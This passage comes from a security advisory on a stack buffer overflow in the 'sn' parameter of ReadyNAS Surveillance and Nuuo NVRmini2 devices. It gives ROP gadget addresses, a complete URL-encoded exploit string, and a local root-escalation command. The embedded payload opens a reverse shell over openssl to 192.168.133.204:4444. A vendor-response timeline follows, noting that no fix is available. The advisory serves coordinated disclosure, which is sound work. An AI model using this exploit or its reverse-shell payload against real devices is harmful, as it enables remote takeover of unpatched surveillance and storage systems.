65%20%2f%62%69%6e%2f%73%68%20%26

Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification.

> Exploitation on ReadyNAS Surveillance (version v1.1.2):
To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses).

The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used:
0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1)
0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0)
0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it)
Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &")

Illustration:
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload}

Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value):
sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26

Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back.

> Local exploitation:
This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'
The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2.

It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow.


>> Fix: 
NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available.
Do not expose any of these devices to the Internet or any networks with unstrusted hosts.

Timeline:
28.02.2016: Disclosure to CERT/CC.
27.04.2016: Requested status update from CERT - they did not receive any response from vendors.
06.06.2016: Requested status update from CERT - still no response from vendors.
            Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo.
13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels.
07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure.
17.07.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received.
01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received.
04.08.2016: Coordinated disclosure with CERT.


>> References:
[1] https://www.kb.cert.org/vuls/id/856152


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>